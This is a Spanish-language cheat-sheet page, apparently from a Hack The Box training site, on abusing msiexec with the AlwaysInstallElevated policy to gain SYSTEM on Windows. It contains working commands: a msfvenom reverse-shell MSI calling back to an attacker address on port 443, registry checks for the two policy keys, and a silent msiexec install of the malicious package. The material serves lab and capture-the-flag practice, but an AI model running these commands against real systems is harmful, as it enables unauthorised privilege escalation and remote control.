Msiexec
Subtécnica de T1218 Ejecución mediante binarios del sistema
Instalar un MSI con msiexec; con AlwaysInstallElevated activado se instala como SYSTEM.
Cómo aparece en Hack The Box
Comprueba las dos claves AlwaysInstallElevated (HKLM y HKCU). Si ambas valen 1, un MSI de msfvenom te da SYSTEM.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Escalada en Windows: servicios, rutas sin comillas, DLL hijacking y AlwaysInstallElevated 5 min de lectura Encontrar y abusar de servicios con permisos débiles, rutas sin comillas, DLL hijacking, tareas programadas y AlwaysInstallElevated, a mano o con winPEAS.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Generador de reverse shells › msfvenom
Windows MSI (para AlwaysInstallElevated)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o shell.msiEscalada en Windows y Active Directory › Windows
Comprobar (las dos claves a 1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Instalar un MSI malicioso
msiexec /quiet /qn /i C:\Windows\Temp\shell.msiCrea el MSI con msfvenom (ver la chuleta de reverse shells).
Ningún comando coincide.